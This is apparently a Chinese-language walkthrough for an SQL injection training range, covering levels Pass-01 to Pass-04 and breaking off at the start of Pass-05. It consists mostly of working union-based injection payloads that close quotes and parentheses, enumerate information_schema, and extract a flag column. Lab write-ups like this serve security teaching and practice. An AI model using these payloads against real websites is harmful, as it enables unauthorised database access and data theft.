掌控安全学院SQL注入靶场
靶场地址
Pass-01 显错注入
判断注入类型发现是数字型注入
1 or 1=1 #
1' or '1'='1 #
1" or "1"="1 #
利用order by得到数据库有三列
?id=0 union select 1,2,3#
得到回显位23
查库名
可以通过information_schema
库或者直接select database()
?id=0 union select 1,(select group_concat(schema_name) from information_schema.schemata),(select database())#
查表名
?id=0 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='error'),3#
查列名
?id=0 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='error'),(select group_concat(column_name) from information_schema.columns where table_name='error_flag')#
可以看到有flag列,直接输出
?id=0 union select 1,(select group_concat(flag) from error.error_flag),3#
Pass-02
测试得题目为单引号字符型注入
这里#
注释会报错,转用--+
?id=0' union select 1,2,3 --+
爆库
?id=0' union select 1,(select database()),3--+
后面和Pass-01
一样
直接得到flag
?id=0' union select 1,(select group_concat(flag) from error.error_flag),3--+
Pass-03
查看语句得知需要')
闭合前面的('
?id=0') union select 1,2,3--+
剩下同理,没有过滤
Pass-04
双引号即可
?id=0") union select 1,2,3--+
Pass-05 POST注入
GET换PO